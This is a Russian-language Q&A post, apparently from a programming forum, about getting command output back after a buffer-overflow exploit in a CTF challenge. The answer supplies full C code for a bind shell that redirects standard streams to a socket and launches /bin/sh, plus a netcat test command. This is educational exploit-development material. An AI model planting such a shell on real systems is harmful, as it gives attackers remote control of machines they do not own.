Как я могу использовать bufferoverflow для удаленного выполнения программы и записи вывода в сокет?
Я работаю над проблемой CTF, так что это не для каких-либо вредоносных целей. Я успешно использовал переполнение буфера для получения доступа к удаленной системе. Однако моя проблема заключается в том, что мне нужно одновременно выполнить команду в этой системе, а затем отправить мне результат этой команды.
Это было бы легко сделать, если бы это была не удаленная система, но, учитывая, что это так, моя основная идея сейчас состоит в том, чтобы использовать Netcat для передачи мне вывода команды. Я не знаю, как выполнить эту задачу, так как я не знаю, возможно ли сделать такую вещь в байт-коде, особенно с ограниченным буферным пространством, с которым я работаю.
Еще одна возможность, о которой я мог подумать, - это выполнить netcat, а затем выполнить команду, которая печатает в стандартный формат - однако, я понимаю, что exec заменяет текущую программу новой. Так что, если я exec'd после exec'ing netcat, это закроет сокет и остановит netcat, верно?
Любые другие идеи будут оценены
1 ответ
Вместо того, чтобы писать свой шелл-код для вас, я предоставлю код C, который вы будете использовать для прослушивания порта для соединения, а затем, как только вы согласитесь, перенаправите STDIN, STDOUT, STDERR в файловый дескриптор соединения. Тогда вы можете запустить /bin/sh
, Это должно позволить вам взаимодействовать с удаленным концом:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
int main()
{
struct sockaddr_in saddr;
int connectionfd = 0;
int socketfd = 0;
char *argv[] = { "/bin/sh", 0 };
bzero(&saddr, sizeof(saddr));
socketfd = socket(AF_INET, SOCK_STREAM, 0);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
saddr.sin_port = htons(1234);
bind(socketfd, (struct sockaddr *)&saddr, sizeof(saddr));
listen(socketfd, 8);
connectionfd = accept(socketfd, (struct sockaddr *) NULL, NULL);
dup2(connectionfd, 0);
dup2(connectionfd, 1);
dup2(connectionfd, 2);
execve (argv[0], &argv[0], NULL);
}
Я подозреваю, что из вашего вопроса вы уже сделали большую часть этого, и вам действительно нужно сделать это dup2
STDIN, STDOUT, STDERR и сделать execve
(или похожие).
Чтобы проверить это, запустите код сервера, а затем из той же системы:
nc localhost 1234
После запуска оболочки вы можете отправлять такие команды:
/bin/ls
Для отображения всех файлов в текущем каталоге. Без установленной переменной окружения path вы должны указать полный путь к программам, которые вы хотите запустить. Конечно, вам не нужно бежать /bin/sh
Вы можете запустить любую программу, у которой есть права для запуска. /bin/sh
был просто удобный выбор для теста.
Примечание: я прекратил все проверки на ошибки, потому что вы, скорее всего, не будете делать это из кода оболочки. Это означает демонстрацию голых костей.